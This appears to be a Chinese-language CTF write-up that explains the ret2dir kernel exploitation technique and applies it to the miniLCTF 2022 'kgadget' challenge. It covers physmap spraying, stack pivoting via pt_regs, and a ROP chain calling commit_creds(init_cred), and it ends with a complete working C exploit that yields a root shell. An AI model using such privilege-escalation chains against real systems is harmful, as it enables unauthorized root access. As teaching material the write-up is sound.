前言

ret2dir是2014年在USENIX發表的一篇論文,該論文提出針對ret2usr提出的SMEPSMAP等保護的繞過。全稱為return-to-direct-mapped memory,返回直接映射的內存。論文地址:https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf

ret2dir

SMEPSMAP等用于隔離用戶與內核空間的保護出現時,內核中常用的利用手法是ret2usr,如下圖所示(圖片來自論文)。首先是在內核中找到可以控制指針的漏洞,修改指針使其指向為用戶空間,因此在用戶空間布置惡意的數據或者代碼,完成漏洞的利用。但是當SMEPSMAP保護的出現,在內核態下,不能夠執行或者訪問用戶空間的代碼或者數據,導致了該利用方式失效,因為即使在用戶空間中部署了payload,在內核態下也無法訪問。因此這種通過顯示數據的共享方式已經不再適用了。

所以作者提出了一種思路,能否在內核空間中也能夠訪問到用戶空間的數據。作者最終找到了一段區域,可以隱式的訪問用戶空間的數據。在內核中存在這部分區域direct mapping of all physical memory,物理地址直接映射區。

這個映射區其實就是內核空間會與物理地址空間進行線性的映射,我們可以在這段區域直接訪問到物理地址對應的內容。

那么作者就提出了一種攻擊場景,由于在虛地址中的內容最終都會映射到物理地址上,若能將用戶空間的數據同樣映射到這段區域上,豈不是就可以在內核空間也可以訪問到用戶空間的數據了。該段區域也被稱之為phsymap,它是一段大的,連續的虛擬內存區域,它包含了部分或全部的物理內存的直接映射。下圖這種情況作者也稱之為是虛擬地址別名的情況,因為在用戶空間與內核空間中都存在一個地址可以訪問payload

最終作者構想的攻擊場景如下圖所示(圖片來自論文),不同于ret2usr,指針不再被修改為指向用戶空間,而是指向了物理地址的直接映射區,由于該映射區指向物理地址,而在用戶空間構造的payload也會映射到物理地址,因此若能獲得指向存在payload的用戶空間對應的物理地址在phsymap位置,就能夠直接執行用戶空間的payload

想要獲得映射地址有以下方法

  • ? (1)通過讀取/proc/pid/pagemap獲取,該文件中存放了物理地址與虛擬地址的映射關系,可是該文件需要root權限才能讀取。
  • ? (2)通過大量覆蓋phsymap內存的方法,提高命中率。使用堆噴技術,在該內存區填充大量的payload這樣既不會影響payload的執行,又能夠提高命中payload的可能性,填充效果如下圖

在舊版本的內核中phsymap是具有可執行權限的,因此可以在用戶空間中填充shellcode,但是如今的內核版本phsymap已經不具備可執行權限了,因此只能在里面填充ROP

miniLCTF_2022-kgadget

題目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022

kgadget_ioctl

kgadget_ioctl中,當我們輸入的操作碼為0x1BF52時,會將rdx寄存器中的值進行解引用,并且以函數的方式調用該地址,這就導致了任意地址執行。

run.sh

題目提供的run.sh開啟了smepsmap的保護,但是沒有開啟地址隨機化KASLR。因此雖然我們可以控制內核執行任意的地址,但是由于題目開啟了smepsmap,因此該地址值不能選擇為用戶空間的地址。

#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel bzImage \
    -initrd ./rootfs.cpio.gz \
    -nographic \
    -monitor /dev/null \
    -snapshot \
    -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
    -no-reboot \
    -s

ret2dir利用流程

首先是如何執行我們指定的地址值的,可以看到實際是將我們傳入的地址,解引用后存放到rbx寄存器,結果通過將rbx寄存器的值移動到棧頂,從而修改棧頂的值,接著調用ret指令,使得執行被解引用的值。

想要使得內核提權,需要執行commit(prepare_kernel_cred(0),接著通過swapgsret指令的組合。因此需要找到一段內存,將該流程的ROP鏈填充進去。這是因為kgadget_ioctl并不是執行我們傳入進去的地址,而是需要將該地址先解引用后再執行,相當于需要執行傳入地址對應的內容。因此若我們直接將commit函數的地址傳入進去,它會執行commit函數指向的內容。

那么這段區域需要選取在哪里,若我們直接再用戶空間中構造這段payload,接著將用戶空間地址傳遞給ioctl是不可行的,因為內核開啟了smapsmep的保護,因此對用戶空間的訪問都是不被允許的。

因此需要用到ret2dir的技巧,由于用戶空間的虛擬地址同樣會映射到物理地址,而在內核空間存在一段內存被稱之為phsymap,它存放著物理地址的內容,因此我們在用戶空間填充的內容,可以在phsymap找到。但是這段內存十分龐大,有64TB的大小,我們怎么才能確保搜索到存放我們payload的地址呢?答案就是盡可能的填充,使得我們用戶空間的payload盡可能的大,那么我們搜索到的幾率也會增大。

我們以頁(4096)為單位開辟內存,并且循環了0x4000次,

void copy_dir()
{
    char *payload;
    payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    for (int i = 0; i < 4096; i++)
        payload[i] = 'z';
}
...
int main()
{
    ...
    for(int i = 0; i < 0x4000; i++)
        copy_dir();
}

可以發現,在用戶空間寫入的z值,我們在內核空間同樣可以訪問到。當然寫入的次數以及字節數是可以自己人為調整的,可以頻繁嘗試,盡可能的大的填充,這樣我們找到的幾率也更大。

當然有時候頁的大小頁不一定是4096,因此可以使用getconf PAGESIZE獲得頁的大小

因此我們已經找到能夠訪問到用戶空間payload的內核地址值,接著需要將內核棧的空間遷移到phsymap上,這是因為用原來的內核棧無法使得連續gadget之間的調用。這里修改為測試gadget,用于測試不做棧遷移會發生什么。

    unsigned long *payload;
    payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret;
    payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret;

可以看到執行一次pop rdi; ret,這是因為ret指令會將當前棧頂的值彈出棧,而我們輸入的值不再棧上,而是在phsymap上。因此當我們輸入的ROP鏈不再棧上時,就需要使用棧遷移。

由于內核中存在著需要改變rsp寄存器的gadget,只要使用add rsp, xxx; ret即可完成棧遷移。因此需要在棧上填入phsymap的地址,使得經過add rsp, xxx后能夠使得rsp指向phsymap。為了使得棧上能夠存儲phsymap的地址,這里需要借助一個結構體pt_regs

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

可以看到這個結構體存放了一系列的寄存器,這是因為在進行系統調用時,會完成從用戶態到內核態的切換,因此需要保存用戶態時的上下文寄存器,而這些寄存器的值都需要保存在pt_regs中。使用下述代碼測試上述pt_regs結構體存放的位置。

    target =  0xffff888000000000 + 0x6000000;
    __asm(
        ".intel_syntax noprefix;"
        "mov r15, 0x15151515;"
        "mov r14, 0x14141414;"
        "mov r13, 0x13131313;"
        "mov r12, 0x12121212;"
        "mov r11, 0x11111111;"
        "mov r10, 0x10101010;"
        "mov r9,  0x99999999;"
        "mov r8,  0x88888888;"
        "mov rax, 0x10;"
        "mov rcx, 0xcccccccc;"
        "mov rdx, target;"
        "mov rsi, 0x1BF52;"
        "mov rdi, fd;"
        "syscall;"
        ".att_syntax;"
    );

可以看到我們在執行系統調用之前的參數,都會以pt_regs結構體中的順序進行存放,這里需要注意的是r11寄存器用來存放了rflags的值。

不過出題者在會對pt_regs結構體中的部分寄存器的值進行修改。

最后只剩下r8r9寄存器是可控的。但是只是用兩個寄存器的值就足于完成棧遷移的操作了。

這里可以計算一下棧頂到r9寄存器的距離0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8,因此找到add rsp 0xc0的寄存器即可,因為ret指令還會進行一次彈棧操作。這里一開始是使用extract-image.sh進行提取,但是會報錯。因此改用vmlinux-to-elf,這個工具提取出的符號比較全。工具的地址為https://github.com/marin-m/vmlinux-to-elf

提取出來就可以愉快的獲取gadget。由于沒找到add 0xc8gadget,因此找了個平替的。再結合pop rsp; ret 指令即可完成棧遷移的操作。

add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
pop rsp; ret;

接著需要考慮堆噴的填充大量內存,因為題目沒有開啟地址隨機化,因此即使不使用堆噴,也能夠定位到具體的地址,但是實際情況是該地址可以隨機,因此需要確保落入到其他地址也能完成利用。由于第一條指令必須是add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;,因為需要進行棧遷移。因此在一頁的內存中,因使用盡量多的該指令進行填充,確保棧遷移的正常執行。

由于完成提權的payload需要0x58的大小,而該指令會將rsp抬高0xc0,因此用(4096 - 0x58 - 0xc0) / 8 = 0x1dd,因此這里循環復制該指令0x1dd次,接著將剩余空間使用ret指令(常用的堆噴的指令)填充(這里使用了xor esi , esi; ret,因為異或操作不影響。)

for (int i = 0; i < 0x1dd; i++)
    payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
for (int i = 0; i < 24; i++)
    payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;

最后是在提權時沒找到合適gadgetprepare_kernel_cred的返回值即rax寄存器的值,移動到rdi寄存器中。因此學了下出題者的wp,發現出題者使用了init_cred結構體作為commit_creds函數的參數。

init_cred 是 Linux 內核中的一個結構體,用于表示進程的初始憑證。它包含了與進程相關的安全屬性和權限信息。,init_cred 結構體通常用于表示初始的 root 憑證。因此只需要借助一個pop rdi;retgadget加上init_cred結構體的地址就可以完成root憑證的初始化了。

exp

最后完整的exp如下

#include 
#include 
#include 
#define COLOR_NONE "\033[0m" //表示清除前面設置的格式
#define RED "\033[1;31;40m" //40表示背景色為黑色, 1 表示高亮
#define BLUE "\033[1;34;40m"
#define GREEN "\033[1;32;40m"
#define YELLOW "\033[1;33;40m"
/*
0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
0xffffffff810c92e0: T commit_creds
0xffffffff810c9540: T prepare_kernel_cred
0xffffffff81224afc: xor esi, esi; ret;
0xffffffff8108c6f0: pop rdi; ret;
0xffffffff82a6b700 D init_cred;
0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode
0xffffffff811483d0: pop rsp; ret;
*/
int fd;
unsigned long user_ss, user_cs, user_sp, user_rflags; 
unsigned long target;
unsigned long target1;
void save_state();
void copy_dir();
void back_door();
void back_door()
{
    printf(RED"getshell");
    system("/bin/sh");
}
void copy_dir()
{
    unsigned long *payload;
    unsigned int index = 0;
    payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);                                                                                   
    for (int i = 0; i < 0x1dd; i++)
        payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
    for (int i = 0; i < 24; i++)
        payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
    payload[index++] = 0xffffffff8108c6f0; // pop rdi ret
    payload[index++] = 0xffffffff82a6b700; //init_cred
    payload[index++] = 0xffffffff810c92e0; //commit_creds
    payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)back_door;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    
}
void save_state()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov user_ss, ss;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    printf(RED"[*]save state");
    printf(BLUE"[+]user_ss:0x%lx", user_ss);
    printf(BLUE"[+]user_cs:0x%lx", user_cs);
    printf(BLUE"[+]user_cs:0x%lx", user_sp);
    printf(BLUE"[+]user_rflags:0x%lx", user_rflags);
    printf(RED"[*]save finish");
}
int main()
{
    save_state(); 
    fd = open("/dev/kgadget", O_RDWR);
    /*
    for(int i = 0; i < 0x4000; i++)
        copy_dir();
    */
    
    target =  0xffff888000000000 + 0x6000000;
    __asm(
        ".intel_syntax noprefix;"
        "mov r15, 0x15151515;"
        "mov r14, 0x14141414;"
        "mov r13, 0x13131313;"
        "mov r12, 0x12121212;"
        "mov r11, 0x11111111;"
        "mov r10, 0x10101010;"
        "mov r9,  0xffffffff811483d0;"
        "mov r8,  target;"
        "mov rax, 0x10;"
        "mov rcx, 0xcccccccc;"
        "mov rdx, target;"
        "mov rsi, 0x1BF52;"
        "mov rdi, fd;"
        "syscall;"
        ".att_syntax;"
    );
        
}